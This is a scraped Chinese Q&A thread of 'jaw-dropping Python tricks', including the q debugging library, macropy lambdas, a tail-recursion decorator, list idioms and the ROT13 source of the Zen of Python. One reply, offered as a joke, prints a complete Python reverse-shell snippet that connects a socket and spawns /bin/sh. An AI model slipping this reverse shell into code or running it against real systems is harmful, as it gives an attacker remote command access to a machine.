Heim >Backend-Entwicklung >Python-Tutorial >你见过哪些令你瞠目结舌的 Python 代码技巧?

你见过哪些令你瞠目结舌的 Python 代码技巧?

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOriginal
2016-06-06 16:22:021304Durchsuche

基友问题
你见过哪些让你瞠目结舌的JAVA代码技巧? - Java
你见过哪些令你瞠目结舌的C/C++代码技巧? - 互联网
你见过哪些令你瞠目结舌的前端设计? - 程序员
你见过哪些令你瞠目结舌的Javascript代码机技巧? - 程序员
你见过哪些令你瞠目结舌的爬虫技巧? - 计算机

神经问题,非程序员欢迎一起来回答
你见过哪些令你瞠目结舌的神逻辑? - 生活
你见过哪些令你瞠目结舌的黑料理?
你见过哪些令你瞠目结舌的逗逼?
还有更多的,欢迎大家一起系列

回复内容:

当初看到这个还是觉得蛮瞠目结舌的:pypi.python.org/pypi/q
Quick-and-dirty debugging output for tired programmers
正如介绍所说的,Quick-and-dirty,QUICK-and-DIRTY。第一眼看起来,只是觉得这个很方便啊,可是仔细想想怎么实现,真是。。。全是黑科技。。。

Q 的最简单用法,打印 foo 的值:
<code class="language-python"><span class="kn">import</span> <span class="nn">q</span><span class="p">;</span> <span class="n">q</span><span class="p">(</span><span class="n">foo</span><span class="p">)</span>
</code>
让我觉得瞠目结舌的要数这个Python库了,真是将import hook用到了极致:
lihaoyi/macropy · GitHub

你问我这个有什么屌的?
来来来,看几个例子:

更好用的lambda表达式
<code class="language-python"><span class="kn">from</span> <span class="nn">macropy.quick_lambda</span> <span class="kn">import</span> <span class="n">macros</span><span class="p">,</span> <span class="n">f</span><span class="p">,</span> <span class="n">_</span>

<span class="k">print</span> <span class="nb">map</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">+</span> <span class="mi">1</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span>    <span class="c"># [2, 3, 4]</span>
<span class="k">print</span> <span class="nb">reduce</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">_</span> <span class="o">*</span> <span class="n">_</span><span class="p">],</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">])</span> <span class="c"># 6</span>
</code>
我记得当初研究python对递归支持有多烂的时候搜到过有人通过装饰器用一种很hack的手法,把尾递归的帧清了。然而现在还是看不懂它写的是什么鬼。
code:
<code class="language-python"><span class="kn">import</span> <span class="nn">sys</span>  
  
<span class="k">class</span> <span class="nc">TailRecurseException</span><span class="p">:</span>  
  <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">):</span>  
    <span class="bp">self</span><span class="o">.</span><span class="n">args</span> <span class="o">=</span> <span class="n">args</span>  
    <span class="bp">self</span><span class="o">.</span><span class="n">kwargs</span> <span class="o">=</span> <span class="n">kwargs</span>  
  
<span class="k">def</span> <span class="nf">tail_call_optimized</span><span class="p">(</span><span class="n">g</span><span class="p">):</span>  
  <span class="sd">"""  </span>
<span class="sd">  This function decorates a function with tail call  </span>
<span class="sd">  optimization. It does this by throwing an exception  </span>
<span class="sd">  if it is it's own grandparent, and catching such  </span>
<span class="sd">  exceptions to fake the tail call optimization.  </span>
<span class="sd">    </span>
<span class="sd">  This function fails if the decorated  </span>
<span class="sd">  function recurses in a non-tail context.  </span>
<span class="sd">  """</span>  
  <span class="k">def</span> <span class="nf">func</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">):</span>  
    <span class="n">f</span> <span class="o">=</span> <span class="n">sys</span><span class="o">.</span><span class="n">_getframe</span><span class="p">()</span>  
    <span class="k">if</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span> <span class="ow">and</span> <span class="n">f</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_back</span><span class="o">.</span><span class="n">f_code</span> <span class="o">==</span> <span class="n">f</span><span class="o">.</span><span class="n">f_code</span><span class="p">:</span>  
      <span class="k">raise</span> <span class="n">TailRecurseException</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">kwargs</span><span class="p">)</span>  
    <span class="k">else</span><span class="p">:</span>  
      <span class="k">while</span> <span class="mi">1</span><span class="p">:</span>  
        <span class="k">try</span><span class="p">:</span>  
          <span class="k">return</span> <span class="n">g</span><span class="p">(</span><span class="o">*</span><span class="n">args</span><span class="p">,</span> <span class="o">**</span><span class="n">kwargs</span><span class="p">)</span>  
        <span class="k">except</span> <span class="n">TailRecurseException</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span>  
          <span class="n">args</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">args</span>  
          <span class="n">kwargs</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">kwargs</span>  
  <span class="n">func</span><span class="o">.</span><span class="n">__doc__</span> <span class="o">=</span> <span class="n">g</span><span class="o">.</span><span class="n">__doc__</span>  
  <span class="k">return</span> <span class="n">func</span>
</code>
谢邀,我今天无耻一回
Dwarfartisan/pyparsec · GitHub

不许打!打也不许打脸! 先让我反弹个shell冷静一下
<code class="language-text">import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",12345))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
</code>
之前在GitHub看到有人总结了一些python的tricks
brennerm/PyTricks · GitHub >>> a = [],
>>> a
([],) >>> a = [[1,2],[3,4],[5,6]]
>>> sum(a,[])
[1, 2, 3, 4, 5, 6]

Python 真的好神奇 : )
再补充一个,Python切片:
>>> l = [1,2,3]
>>> l[1:1] = 'a'
>>> l
[1, 'a', 2, 3]

Python分组list:
>>> a = [1, 2, 3, 4, 5, 6]
>>> zip(*([iter(a)] * 2))
[(1, 2), (3, 4), (5, 6)] 前几年刚学python的时候在一个项目里做了几个小尝试。

用元编程动态生成类,生成以后动态加载卸载。

把类当函数用。把函数当变量用。

花样玩容器。

顺手把其他几种EE工程师们写出来的五花八门的脚本包装了一个整整齐齐。

注释齐全,结构简明。不是性能瓶颈,所以性能不在考虑范围内。

结果被“资深工程师”骂成了狗,苦逼地回到了C++。其实只是他没有用过C++以外的任何一种语言,他的逻辑是C++是所有语言的基础,他看不懂的代码就不是好代码。 →_→下面这段居然特么混进了标准库里,令我瞠目结舌
<code class="language-python"><span class="n">s</span> <span class="o">=</span> <span class="s">"""Gur Mra bs Clguba, ol Gvz Crgref</span>

<span class="s">Ornhgvshy vf orggre guna htyl.</span>
<span class="s">Rkcyvpvg vf orggre guna vzcyvpvg.</span>
<span class="s">Fvzcyr vf orggre guna pbzcyrk.</span>
<span class="s">Pbzcyrk vf orggre guna pbzcyvpngrq.</span>
<span class="s">Syng vf orggre guna arfgrq.</span>
<span class="s">Fcnefr vf orggre guna qrafr.</span>
<span class="s">Ernqnovyvgl pbhagf.</span>
<span class="s">Fcrpvny pnfrf nera'g fcrpvny rabhtu gb oernx gur ehyrf.</span>
<span class="s">Nygubhtu cenpgvpnyvgl orngf chevgl.</span>
<span class="s">Reebef fubhyq arire cnff fvyragyl.</span>
<span class="s">Hayrff rkcyvpvgyl fvyraprq.</span>
<span class="s">Va gur snpr bs nzovthvgl, ershfr gur grzcgngvba gb thrff.</span>
<span class="s">Gurer fubhyq or bar-- naq cersrenoyl bayl bar --boivbhf jnl gb qb vg.</span>
<span class="s">Nygubhtu gung jnl znl abg or boivbhf ng svefg hayrff lbh'er Qhgpu.</span>
<span class="s">Abj vf orggre guna arire.</span>
<span class="s">Nygubhtu arire vf bsgra orggre guna *evtug* abj.</span>
<span class="s">Vs gur vzcyrzragngvba vf uneq gb rkcynva, vg'f n onq vqrn.</span>
<span class="s">Vs gur vzcyrzragngvba vf rnfl gb rkcynva, vg znl or n tbbq vqrn.</span>
<span class="s">Anzrfcnprf ner bar ubaxvat terng vqrn -- yrg'f qb zber bs gubfr!"""</span>

<span class="n">d</span> <span class="o">=</span> <span class="p">{}</span>
<span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="p">(</span><span class="mi">65</span><span class="p">,</span> <span class="mi">97</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">26</span><span class="p">):</span>
        <span class="n">d</span><span class="p">[</span><span class="nb">chr</span><span class="p">(</span><span class="n">i</span><span class="o">+</span><span class="n">c</span><span class="p">)]</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">((</span><span class="n">i</span><span class="o">+</span><span class="mi">13</span><span class="p">)</span> <span class="o">%</span> <span class="mi">26</span> <span class="o">+</span> <span class="n">c</span><span class="p">)</span>

<span class="k">print</span> <span class="s">""</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">d</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">s</span><span class="p">])</span>
</code>
Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn